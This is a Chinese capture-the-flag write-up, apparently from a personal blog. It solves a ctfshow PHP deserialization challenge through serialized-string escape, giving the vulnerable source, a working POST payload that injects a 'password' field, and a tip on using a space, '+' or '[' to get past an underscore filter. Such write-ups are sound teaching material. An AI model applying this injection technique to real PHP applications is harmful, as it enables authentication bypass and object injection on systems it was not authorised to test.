<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> 

这里先不管非预期,很明显,预期解是反序列化字符串逃逸,为便于理解,直接看payload吧。

user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip

这时正常的序列化结果是这样的

O:8:"spaceman":2:{s:8:"username";s:108:"ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup";s:8:"password";s:34:"1";s:8:"password";s:10:"ctfshowvip";}

但经过了替换后每个ctfshowup都会变成ctfshow,少了两个字符,这里12个ctfshowup就少了24个字符,从而巧妙的将ctfshowup后面的24个字符(";s:8:"password";s:34:"1)变成了username里的值,于是序列化结果变成了

O:8:"spaceman":2:{s:8:"username";s:108:"ctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshow";s:8:"password";s:34:"1";s:8:"password";s:10:"ctfshowvip";}

此时username的值是ctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshow";s:8:"password";s:34:"1,password的则值是ctfshowvip,符合条件,拿到flag
妙啊,真是妙蛙种子吃着妙脆角妙进了米奇妙妙屋,妙到家了
小知识点:
1.空格,+,[可代替_
2.extract($_POST)以POST方式传入变量

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏